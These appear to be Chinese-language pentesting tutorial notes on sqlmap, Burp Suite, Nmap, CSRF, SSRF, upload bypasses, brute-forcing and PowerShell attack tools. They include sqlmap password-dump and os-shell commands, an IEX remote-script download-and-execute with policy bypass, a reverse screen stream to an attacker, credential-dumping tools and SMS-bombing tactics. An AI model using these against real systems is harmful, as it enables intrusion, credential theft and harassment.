sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
(1)安装sqlmap前,需要先安装 Python3.X
下载地址:Python Releases for Windows | Python.org
(2)在环境变量path中,增加python3.x安装路径
(3)下载sqlmap并解压缩:地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py –u http://xxx.xxx.xxx/
Python sqlmap.py --help 查看帮助
sqlmap常用参数
设置目标URL
-u /--url 最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
-r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
设置回显等级
参数:-v 默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同事显示HTTP响应页面。
设置HTTP数据包相关参数
参数:--data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
设定探测等级
--level 共有五个等级,默认为1,
sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。5级包含的payload最多。 http cookie在2级时可以检测 HTTP user-Agent/Referer在3级时就会检测
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
--current-user 在大多数据库中可以获取到管理数据的用户。
--is-dba 判断当前的用户是否为管理,是的话会返回True。
--proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。
sql注入简单流程
第一步:判断是否是注入点
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"
第二步:获取数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users --colunms
第六步:读取指定字段内容
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users -C username,password --dump
sqlmap进阶
--is-dba 判断当前数据库用户权限
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba
–roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
--referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
--sql-shell 运行自定义的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
–os-cmd,–os-shell 运行任意操作系统命令
选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 从数据库服务器中读取文件
该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
–file-write –file-dest 上传文件到数据库服务器中
该命令用于写入本地文件到服务器中。
Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1 --file-write ‘c:\user\cisp-pte\desktop\xie1.php’ --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
Sqlmap进阶-常用tamper脚本
Burpsuite
设置 burpsuite 代理
1、打开浏览器设置(这里我用的是火狐浏览器),在常规设置里,最下方有个设置(下图所示)
2、点击设置出现此页面,选择手动配置代理,设HTTP代理为127.0.0.1 端口号为8080,点击确定即可完成
burp suite功能模块
Send to spider 发送给爬虫模块
DO a active scan 进行一次主动扫描
Send to intruder 发送给爆破模块
Send to repearter 发送给重放模块
Send to comparer 发送给比对模块
Send to decoder 发送给解码模块
Request in browser 将请求在浏览器重放
Proxy 模块
拦截功能主要由intercept选项卡中的Forward、Drop、Interception is on/off 和 Action
主要功能:
Forward: 表示将拦截的数据包或修改后的数据包发送至服务器端
Drop: 表示丢弃当前拦截的数据包
Interception is on/off: on 表示开启拦截功能,off表示关闭拦截功能
Action : 可以将数据包进一步发送到 Spider、Scaaner、Repeater、Intruder等功能组件做进一步测试,同时也包含改变数据包请求方式及其body的编码等功能
burp suite由四种消息类型显示数据包:Raw、Params、Headers 和 hex
Raw:主要显示Web 请求的 raw 格式,以纯文本的形式显示数据包,包含请求地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等。可以通过手动修改信息,对服务器端进行渗透测试
Params:主要显示客户端请求的参数信息,包括 GET或者POST请求的参数、cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。
Hearders: 显示的是数据包中的头信息,以名称、值的形式显示数据包
Hex:对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用。
Spider模块
帮助我们了解系统结构,Spider爬取的内容将在Target中展示
Decoder模块
是burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换
我们还可以在Decoder界面进行多次编码、解码的转换
对编码解码而言
目前支持 URL、HTML、BASE64、ASCII、十六进制、八进制、二进制和GZIP
Hash散列支持
SHA 、SHA-224、SHA-256、SHA-384、SHA-512、MD2、MD5 格式的转换
User option模块 解决HTTP返回信息中的乱码问题
Intruder模块→爆破模式选择
Sniper 单变量爆破
Battering ram 发送给重放模块
Pitch fork 多变量同时爆破(无循环) //即多个字典同时滚动
Cluster bomb 多变量循环爆破(有循环) //即基于多个字典循环遍历
Nmap
Nmap 是一款开放源代码的网络探测和安全审核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞
Nmap的特点:
主机探测: 探测网络上的主机,如列出响应TCP和 ICMP请求、ICMP请求、开放特别端口的主机
端口扫描:探测目标主机所开放的端口
版本检测:探测目标主机的网络服务,判断其服务名称及版本号
系统监测:探测目标主机的操作系统及网络设备的硬件特征
支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和 Lua编码语言
可以扫描多个目标也可扫描单个目标 如 192.168.1.1/24 扫描C段 或者 192.168.1.1-254
namp -A –T4 -v 192.168.1.1
-A 开启操作系统识别和版本识别功能
-T 0-6档,设置扫描的快慢,0最慢,6最快; 级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现; 一般选择T4
-v 显示信息的级别,-vv 显示更详细的信息
namp -A –T4 -v -iL ~/targets.txt
-iL 表示要扫描的目标位于一个文档中
namp -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100
--exclude 192.168.1.100 表示排除在外的目标
namp -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt
--excludefile ~/targets.txt 表示排除在外的目标包含在一个文档中
namp 192.168.1.1 -p 80,443
-p 80,443 表示扫描特点端口,如果不用-p指定端口, 默认扫描1000个常用端口
namp --traceroute 192.168.1.1
--traceroute 探测路由
namp -O 192.168.1.1
-O 对目标进行指纹识别
namp -sV 192.168.1.1
-sV 对版本进行探测
namp -sF -T4 192.168.1.1
-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。
状态 说明
open 应用程序在该端口接收 TCP 连接或者 UDP 报文
closed 关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听
filtered 由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙
unfiltered 未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态
open/filtered 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。
CSRF漏洞
CSRF (Cross--site request forgery,跨站请求伪造))也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装成受信任用户请求受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比 XSS 更具危险性。
攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF 能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。
漏洞描述:
CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。
修复建议
1、验证请求的Referer是否来自本网站,但可被绕过。
2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确则丢弃拒绝服务。
漏洞代码分析
--获取 GET 参数 username 和参数 oassword,然后通过 selecti 语句查询是否存在对应的用户,如果用户存在,会通过$SESSION 设置一个 session: isadmin=admin,否则设置 session: isadmin=guest。 --接下来判断 session 中的 isadmin 是否为 admin,如果 isadmin! =admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。 --获取 POST 参数 username 和参数 oassword,然后插入 users 表中,完成添加用户的操作。
当管理员访问了攻击者构造的 CSRF 页面后,会自动创建一个账号,CSRF 利用代码如下。 此代码的作用是创建一个 AJAX 请求,请求的 URL 是 http: /Xx.com/csrf.php,参数是 submit=:1&username: =1&password=1, 从上述 PHP 代码中可以看到,此 AJAX 请求就是执行一个添加用户的操作,由于管理员已登录,所以管理员访问链接后就会创建一个新用户。
针对 CSRF 漏洞的修复
1、验证请求的 Refererf 值,如果 Referer 是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果 Referer 是其他网站域名或空白,就有可能是 CSRF 攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。
2、CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端验证 token,如果请求中没有 token 或者 token 的内容不正确,则认为该请求可能是 CSRF 攻击从而拒绝该请求。
SSRF漏洞
ssrf漏洞介绍: SSRF (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。
SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 panner 信息。
攻击运行在内网或本地的应用程序。
对内网 Wb 应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。
利用 file 协议读取本地文件等。
漏洞利用 – ssrf
SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。
页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。 如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容。
但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务。
访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件。
在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务。
针对 SSRF 漏洞的修复,给出以下这几点建议。
1、限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。
2、限制不能访问内网的IP,以防止对内网进行攻击。
3、屏蔽返回的详细信息。
文件上传漏洞
现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。
为什么文件上传存在漏洞
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。
危害
网站被控制
服务器沦陷
同服务器的其他网站沦陷
常见上传检测规则
服务端 MIME 类型检测 ( 检测 Content-Type 内容)
客户端 javascript 检测( 通常为检测文件拓展名)
服务端目录路径检测( 检测跟 path 参数相关的内容 )
服务端文件名拓展名检测( 检测跟文件 estension 相关的内容 )
服务器文件内容检测(检测内容是否合法或含有恶意代码)
服务端MIME类型检测也就是检测Content-Type的内容。
基于黑名单检测:
黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。
客户端检测
客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。
判断方式: 在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
服务端目录路径检测:
一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致
服务端文件名拓展检测-绕过办法
文件名大小写绕过(AsP, pHp等等)
黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)
特殊文件名绕过 修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后 windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
0x00截断绕过
暴力破解
暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段暴力破解的产生是由于破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如 4 位数字的验证码,那么暴力破解的范围就是 0000~9999,暴力破解的关键在于字典的大小。
漏洞描述:
由于没有对登录页面进行相关的人机验证机制,如无验证码、有验证码但可重复利用以及无登录错误次数登录账号和密码。限制等,导致攻击者可通过暴力破解获取用户
修复建议
1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)
2、如果某个 IP登录次数超过设置的阈值,则锁定IP
3、增加人机验证机制
4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。
一、账户探测
场景说明:探测用户名存在与否,用户名穷举
方式一:Top500用户名、手机号
方式二:邮箱、员工编号
二、指定口令爆破用户名
1. 指定类123456口令爆破用户名;
2. 正常的top500,top10000帐号;
3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号;
4. 一位数字、二位数字、三位数字、四位数字的随机组合
5. 厂商名相关帐号 a) 如:facebook、fb_steven … b) 页面联系邮箱的规则学习及自创建
三、密码爆破
1. top500, top3000,top10000,自定义密码
1、Top 系列,几乎安全从业都有自己的弱口令字典,常规就好,太大的字典跑起来也费劲,关键是定制
2、定制字典,pydictor值得推荐:https://github.com/LandGrey/pydictor
3、 社工库的使用,指定用户的历史密码,是一种尝试
2. 厂商特色口令生成,如baidu@123
1、适用于应用管理员类人员以及主机协议类密码
2、更多定制类字典也可以pydicor
3、使用简单密码和厂商邮箱后缀组合
3. 加密密码暴力破解
1、普通编码类,如base64
2、自定义加密算法(目标系统使用了可猜测的加密算法去加密口令)
可参考浮萍写的基于RSA算法加密口令后爆破脚本: https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py
3、Selenium 自动浏览器提交模块(可适用与不明加密算法,模拟正常操作流)
4. 弱文件后的后台爆破
弱文件爆破获得后台
后台密码爆破
i. 各大中间件及CMS的口令破解,如weblogic 、tomcat
ii. 自定义后台的密码破解
5. Webshell 密码爆破
1、Shell 发现(弱文件以及蛛丝马迹)
2、Shell 爆破(有专用工具,也可用burp完成)
6. 辅助信息
1、Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则
2、 技术运维人员的桌子上面的便签信息(若能接触到目标内部)
四、登陆验证码爆破
1. 验证码绕过
1、验证码非必须参数,可省略
2、验证码不失效,可多次使用
3、验证码问题集合答案有限,可以遍历后破解
4、非空逻辑校验,验证码置空 或 去掉校验参数的请求
e.g. ecshop后台暴力破解验证码绕过
2. 简单验证码识别
https://github.com/fupinglee/CrackCaptcahLogin/releases 类似工具很多,看使用习惯。
3. 高模糊度验证码识别
1、 一般的识别流程都是二值化、去干扰、区域选择、OCR识别
2、可用云打码平台 (不打广告)
五、短信/邮箱验证码爆破
1. 部分登录验证码的分类也可适用于此
2. 验证码的本身绕过
a) 返回包回显(包括返回包、输出在cookie等)
b) JS控制
c) 返回包控制:True&false控制(0&1),修改返回包可绕过
3. 4位数字,验证码爆破,很快
4. 6位数字,验证码爆破;
可根据多线程的前提进行多进程处理,0-199999一波;200000-399999一波…(依次类推);也可以看频率,哪块区间分布的概率较高可重点关注;也可以指定前一位或两位进行爆破。
5. 弱token
六、短信/邮箱验证码爆破
1. 关键参数的的信息遍历(select)
包括用户名
ID号
手机号
邮箱
身份证号
订单号
银行卡
信用卡(e.g 携程乌云漏洞)
i. PAN+信用卡到期时间(即:最小的身份验证模块);
ii. PAN+信用卡到期时间+CVV;
iii. PAN+信用卡到期时间+CVV+持卡人地址;
iv. From http://t.cn/Rfrsdki
i) …
2. 批量注册(insert)
逻辑不严谨或校验不严格,实现多帐号的薅羊毛
3. 一套组合拳(也可关联到爬虫):
a) 两个常见的功能:密码找回、网站论坛
b) 切入点一:从密码找回功能分析,有相当一部分网站,提供账号检测功能,且提示存在与否,根据友情提示以及次数限定情况,可以通过返回包匹配存在的帐号,包括用户名、甚至手机号(其实主要是手机号)。
c) 切入点二:密码找回功能,输入手机号后会提示…正在找回XXX的密码信息…,这个就是用户名,(若输入用户名,有可能提示正在找回某手机号的密码信息(部分打码))
d) 切入点三:网站论坛,为了交流,以及用户的活跃度,部分网站存在bbs、club等论坛信息,一般二次开发的Discuz 。 上面会存在关于个人的一些数据,比如用户名(论坛网名)、性别、粉丝情况、帖子情况、联系方式、住址(部分需要登录权限)、还有一些倾向数据,比如购物平台关注的商品;
e) 从这三个切入点来讲,单独哪个可能都影响不足够大,没有达到影响的最大化。从一个数据利用者角度分析,最希望得到与平台性质相关的属性,比如交友网站的性别和联系方式信息,房产网站的倾向房产和联系方式等属性。
那把三个切入点的数据整合起来能得到什么呢?
i. 通过用户检测 获得手机号用户个人信息;
ii. 通过手机号检测,获得用户名信息;
iii. 通过论坛遍历,获得ID和用户名信息;
iv. 通过关联以上数据,可以对应手机号------>用户名 ------> 论坛ID,同样也就意味着获得了某手机号的用户关注了什么的信息。
Demo 说明
用户:188xxxx8888 用户名:HelloWorld 关注:某别墅
用户:138xxxx9999 用户名:52BMW 关注:宝马X6
用户:159xxxx6666 用户名:HelloKitty 就职某金融企业 用户:186xxxx5555
用户名:独孤求败 购买了大疆无人机
针对Demo数据,从一个数据威胁角度来分析,那可以实现精准营销。带来的场景就是另一片天地。
七、爆破关联
1. 数据重放-短信炸弹
a) 无任何限制的短信炸弹
b) 单独手机号存在短信阈值限制,有可能通过间隔符绕过,18888888888,,,与18888888888效果一样;
c) 针对单独手机号有阈值限制,但可随意轮询其他手机号,同样有危害
d) 会导致短信网关的资源浪费和流失
2. 数据重放-邮箱炸弹 相对短信炸弹成本较低,但其逻辑同短信炸弹
3. 子域名爆破
根据自己平台和习惯选择即可:subDomainsBrute、Layer、FuzzDomain
4. 子目录、弱文件爆破
弱文件爆破,对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch 值得拥有(可自定义字典)
也可以自己写,就是基本的web请求,以及返回包的长度或特征匹配。
5. Fuzzing 测试
SQL、XSS
拒绝服务漏洞,例如SPIKE对表单测试特殊字符的异常处理
八、协议口令爆破
1. SSH RDP FTP MySQL MSSQL
a) Fenghuangscan值得推荐,Hydra (Kali自带)值得拥有;
b) Nmap 也可完成部分破解工作,本身是一个基础工具,但script下的脚本能让你做出不基础的事情
c) 毕竟直接拿到远控权限事半功倍,可直接获取数据,对于测试来讲还可获取源码,以半审计的方法进行挖掘。
d) 且有人以此为生(全网抓鸡)
2. SMTP、VPN协议类
a) 第一点提到的一些协议,初具成熟均不公开于互联网(当然意识和测试情况也有),但SMTP 和 VPN 类,大部分都有,也是入侵的概率很大的入口点
i. brut3k1t(github有)
ii. 也有自定义的PY脚本
iii. 小技巧点:部分对同一用户有密码失败次数限制,可把循环颠倒过来,用同密码刷一遍用户,在用下一个口令刷一遍用户
b) 翻到邮箱,根据信息检索,信息很精准,很有可能获得认证信息
c) 获得VPN认证,在内网搞事,一不小心就干掉了一个大家伙。
3. 特殊服务类未授权访问或者弱认证
Redis未授权访问
Jenkins未授权访问
MongoDB未授权访问
ZooKeeper未授权访问
Elasticsearch未授权访问
Memcache未授权访问
Hadoop未授权访问
CouchDB未授权访问
Docker未授权访问
毕竟这些未授权可以直接getshell或直接获得数据
漏洞代码分析
服务端处理用户登录的代码如下所示,程序获取 POST 参数 username 和参数password,然后在数据库中查询输入的用户名和密码是否存在,如果存在,则登录成功。但是这里没有对登录的次数做限制,所以只要用户一直尝试登录,就可以进行暴力破解。
修复建议
针对暴力破解漏洞的修复,给出以下两点建议。
1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)
2、如果某个 IP登录次数超过设置的阈值,则锁定IP
3、增加人机验证机制
4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。 锁定IP存在的一个问题 是:如果多个用户使用的是同一个 IP,则会造成其他用户也不能登录。
PowerShell 技术
对于渗透,使用PowerShell场景:
第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入
常用的PowerShell攻击工具:
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。
PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。
基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中,不需要写入磁盘 cmd.exe通常会被安全软件阻止,一般PowerShell不会
启动PowerShell
第一种 win+r启动运行下输入powershell进入
第二种 cmd下输入powershell进入
查看版本 :
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。
执行策略:
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。我们可以使用cmdlet 命令确定当前的执行策略
Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。 Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行;
Unrestricted:允许所有的脚本执行
另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行
管道:
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
例如: 假设停止所有目前运行中的,以“note"字符开头命名的程序 Get-Process note*|stop-process
文件操作类的PowerShell命令:
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "haha" 给文件test.txt
追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
删除文件test.txt:Remove-Item test.txt
绕过本地权限执行
上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本
powershell -exec bypass .\test.ps1
绕过执行策略执行PowerShell脚本
如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式
1.绕过本地权限执行
2.本地隐藏绕过权限执行脚本
3.用IEX下载远程PS1脚本绕过权限执行
本地隐藏绕过权限执行脚本
powershell.exe -exec bypass -W hidden -nop test.ps1 输入命令执行后会退出命令提示符
用IEX下载远程PS1脚本绕过权限执行
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
PowerShell命令参数说明
对上述命令参数进行说明 ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本; NoProfile(-nop):
PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64: 把ps脚本编码成base64来执行,实战用的最多;
PowerSploit
是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。
PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit
ActivirusBypass:绕过杀毒软件查杀
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本
Persistence:权限维持
Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
Nishang
Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。
下载地址如下: https://github.com/samratashok/nishang
部分模块的功能
1.Check-VM
它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish
这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
3. Get-PassHashes
在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz
需要管理员权限,抓取密码
5. Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints
获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
PowerShell交互式Shell
Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell
